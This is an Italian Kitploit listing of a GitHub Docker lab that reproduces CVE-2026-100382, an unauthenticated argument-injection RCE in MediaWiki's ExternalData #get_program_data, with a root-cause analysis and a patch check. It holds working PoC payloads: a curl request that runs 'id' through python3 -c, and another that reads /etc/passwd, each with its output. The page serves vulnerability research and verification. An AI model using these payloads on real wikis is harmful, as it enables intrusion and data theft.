Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mediawiki-CVE-2026-100382 — Docker lab che riproduce CVE-2026-100382: RCE da argument-injection non autenticato in #get_program_data di MediaWiki ExternalData, con payload PoC e verifica della patch. | Kitploit
Strumenti/GitHubGitHub/nth347/mediawiki-cve-2026-100382
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebCommand and ControlApprendimento e FormazioneLab e Pratica
GitHub
nth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

Docker lab che riproduce CVE-2026-100382: RCE da argument-injection non autenticato in #get_program_data di MediaWiki ExternalData, con payload PoC e verifica della patch.

Vedi Repository
36 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduzione in laboratorio - CVE-2026-100382 (iniezione di comandi OS in ExternalData)

Cos'è questo laboratorio

  • MediaWiki 1.43 (immagine ufficiale, SQLite) + ExternalData 3.6.1 (ultima versione vulnerabile), montata in sola lettura da ../mediawiki-extensions-ExternalData.
  • Solo loopback: pubblicata su 127.0.0.1:${HOST_PORT} (predefinito 8080).
  • La modifica anonima + action=parse sono abilitate (impostazioni predefinite di MediaWiki) - il PoC non richiede nessun login.

Esecuzione

cd lab
./up.sh        # installs, loads ExternalData 3.6.1, seeds vulnerable sources, prints URL
./down.sh      # docker compose down -v + wipe .env

La configurazione admin vulnerabile (realistica)

entrypoint.sh inizializza una sorgente exec che rispecchia lo scopo documentato di #get_program_data - esporre un programma lato server ai redattori, passando un parametro utente nella riga di comando - senza una voce restrittiva param filters (l'estensione non ne richiede una):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // user param interpolated
    'params'  => [ 'options' ],
    'format'  => 'text',
];

Uso previsto: {{#get_program_data: program=chart | options=--dpi=120 }} -> esegue python3 --dpi=120 /srv/chart.py.

Riepilogo della causa principale (perché si attiva)

  • EDConnectorBase::supplementParams() interpola i parametri utente nel template command a livello di wiki tramite strtr (EDConnectorBase.php:461-470,560).
  • EDConnectorExe::__construct() esegue poi explode(' ', $command) (EDConnectorExe.php:92) - il valore utente interpolato viene suddiviso sugli spazi in token argv separati senza ri-quotatura.
  • run() esegue Shell::command($command)->execute() (EDConnectorExe.php:139). Shell::command() effettua l'escaping shell di ogni token, quindi i metacaratteri shell (;, |) sono inerti - questa è iniezione di argomenti (CWE-88 / CWE-78), non una banale iniezione shell. Controllare argv aggiuntivi del programma target (qui python3 -c) consente l'esecuzione completa di codice.
  • Nota: un chiamante non può fornire command direttamente - la sorgente wildcard * integrata forza command => null, il che rimuove un command fornito dall'utente. Il vettore è quindi l'interpolazione di parametri in un comando definito dall'admin.

Output della console (verbatim)

Ambito: i metacaratteri shell sono sottoposti a escaping (iniezione di argomenti, non iniezione shell)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

Gli spazi bianchi dividono un parametro in più token argv

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - esecuzione arbitraria di comandi come utente web (NON AUTENTICATO)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lettura arbitraria di file

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Test negativo contro la patch (chiude il ciclo)

Scambiando l'estensione montata con il tag 3.7 e rieseguendo lo STESSO payload:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

La 3.7 disabilita EDConnectorExe per impostazione predefinita ($wgExternalDataDisabledClasses, Bug T434961). Avvertenza: il codice sink è invariato - un wiki che rimuove EDConnectorExe da quella lista per continuare a usare #get_program_data rimane completamente sfruttabile.

Scarica lo strumento